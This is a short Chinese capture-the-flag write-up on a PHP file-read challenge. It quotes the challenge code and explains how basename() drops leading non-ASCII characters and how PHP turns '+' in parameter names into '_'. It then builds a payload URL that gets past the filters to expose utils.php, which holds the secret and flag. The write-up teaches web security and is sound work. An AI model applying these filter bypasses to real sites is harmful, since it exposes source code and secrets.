文件读取
<?php include 'utils.php'; if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else { $message = 'Wrong. Try Again'; } } if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("hacker :)"); } if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){ exit("hacker :)"); } if (isset($_GET['show_source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); }else{ show_source(__FILE__); } ?>
$_SERVER['PHP_SELF'] 当前脚本的路径
$_SERVER['REQUEST_URI'] 当前网址
比如http://example.com/foo/bar.php?cmd=1
$_SERVER['PHP_SELF']会得到foo/bar.php
$_SERVER['REQUEST_URI'] 会得到foo/bar.php?cmd=1
basename()会获取文件路径中的文件名
比如basename(foo/bar.php)会得到bar.php,也就是最后一个 /后面的东西
但是basename()会自动抛弃文件名开头非ASCII字符
比如basename(哈哈index.php)会返回index.php
拓展一下:
- dirname - 返回路径中的目录部分
- pathinfo() - 返回文件路径的信息
POST传参没有什么用,直接看下面
从下往上看,先要存在show_source,但是上面有过滤了这个参数
在php中如果变量名不否合命名规则,会将第一个不否合的字符用_替代,比如e.val会变成e_val
其中[,+,(点),(空格)都可以
对于过滤了utils我们可以在其前面添加一个index.php来绕过
因为index.php/utils.php会返回index.php然后经过basename()处理就可以访问到utils.php文件
所以构造palyload:
index.php/utils.php/卧槽?show+source=1